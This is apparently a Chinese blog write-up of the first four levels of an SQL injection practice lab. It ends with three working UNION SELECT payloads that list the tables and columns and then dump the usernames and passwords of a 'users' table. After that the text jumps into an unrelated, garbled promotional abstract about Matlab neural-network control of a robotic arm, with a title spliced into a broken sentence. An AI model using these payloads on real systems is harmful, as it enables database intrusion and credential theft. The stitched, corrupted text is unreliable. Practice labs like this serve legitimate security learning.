sql联合查询(初体验)

SQL注入攻击与数据库爆破技巧
本文详细解析了SQL注入攻击的四种常见类型,并通过实例演示如何利用这些漏洞进行数据库爆破,包括数据表、字段及数据库内容的拖取。适合对信息安全有兴趣的学习者和技术人员。

一,sql查询注入类型(今天先前四关)

1.第一关

(1)先用数值型测试是否有漏洞

(2)发现数组都能进去所以不是 数组 然后咱们用字符串测试(漏洞进去成功)

2.第二关

(1)首先数值测试

(2)再用错误的尝试 (结论还是数组的漏洞)

3.第三题

(1)首先用数值(无论怎样输入只要数组就能进去所以数组不是漏洞)

(2)在用字符串测试(字符串报错显示它不支持字符串)

(3)那最后就用错误尝试(漏洞在错误查询)

4.第四题

(1)还是数值型查询(数组尝试都能进去,所以漏洞不在数组)

(2)字符串尝试(字符串这里也都能进去也不报错,所以漏洞也不再这)

(3)最终错误查询(漏洞可以在单引号前加双引号)

二,三部爆破数据库

1.爆数据表(/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 )

2.爆字段(id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ),3

3.拖数据库(/?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3

三,

内容概要:本文档围绕六自由度机械臂的ANN人工神经网络设计展开,涵盖正向与逆向运动学求解、正向动力学控制,并采用拉格朗日-欧拉法推导逆向动力学方程,所有内容均通过Matlab代码实现。同时结合RRT路径规划与B样条优化技术,提升机械臂运动轨迹的合理性与平滑性。文中还涉及多种先进算法与仿真技术的应用,如状态估计中的UKF、AUKF、EKF等滤波方法,以及PINN、INN、CNN-LSTM等神经网络模型在工程问题中的建模与求解,展示了Matlab在机器人控制、智能算法与系统仿真中的强大能力。; 适合人群:具备一定Ma六自由度机械臂ANN人工神经网络设计:正向逆向运动学求解、正向动力学控制、拉格朗日-欧拉法推导逆向动力学方程(Matlab代码实现)tlab编程基础,从事机器人控制、自动化、智能制造、人工智能等相关领域的科研人员及研究生;熟悉运动学、动力学建模或对神经网络在控制系统中应用感兴趣的工程技术人员。; 使用场景及目标:①实现六自由度机械臂的精确运动学与动力学建模;②利用人工神经网络解决传统解析方法难以处理的非线性控制问题;③结合路径规划与轨迹优化提升机械臂作业效率;④掌握基于Matlab的状态估计、数据融合与智能算法仿真方法; 阅读建议:建议结合提供的Matlab代码进行实践操作,重点理解运动学建模与神经网络控制的设计流程,关注算法实现细节与仿真结果分析,同时参考文中提及的多种优化与估计方法拓展研究思路。
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